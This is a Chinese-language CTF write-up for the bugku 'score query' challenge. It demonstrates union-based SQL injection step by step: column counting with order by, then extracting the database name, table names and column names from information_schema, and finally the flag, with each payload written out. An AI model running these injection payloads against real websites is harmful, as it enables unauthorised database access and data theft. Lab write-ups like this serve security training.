bugku 成绩查询
打开环境后是:
有一个车查询窗口
先试一下1、2、3都有正常的查询回显:
应该是sql注入
直接试万能密码:
万能密码可以进人数据库但是不能读取想要对应的内容
既然万能密码可以进入,那么应该没有什么过滤
想要读取数据库其他表的内容就要使用联合查询:
就是用union将查询并表,并将其他内容合并入表显示
先闭合一下查询:
没回显,可能是因为后面还有一个 ’ ,所以有报错,那就将后面的 ’ 用一个#注释掉,再试一下:
正常回显
开始联合查询
先把有多少字段一个一个的试出来:
因为这里有三个字段了,所以就从这个数开始试:
1’ order by 3#
1’ order by 4#
1’ order by 5#
直到:
1’ order by 5#
没有回显
那就说明这个表只有四个字段
知道字段数就开始尝试爆破数据库名、表名、字段名、相应内容:
先联合注入1234试一下:
回显正常
那就开始爆破
因为查询时要限定条件,所以再联合注入时需要将字段的名称作为条件的一部分,所以这里用id=1来查询。
id=1’ union select 1,show database(),show tables(),4 #
没回显
那就试一下:id=1’ union select 1,2,table(),database()#
还是没回显
那就只爆破一个:id=1’ union select 1,2,3,database()#
有回显:
知道数据库名是skctf
那就爆破表名,一般情况是用这种固定形式:
information_schema.tables——sql本地自带的表来爆破
命令:
id=1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
可以看到表民: fl4g和sc
接着看字段名:
id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g#
没有回显
添个‘’试试:
id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘fl4g’#
有回显了
有字段名了就直接选择字段看内容:
id=1’ union select 1,2,(select skctf_flag from fl4g),4#
去交flag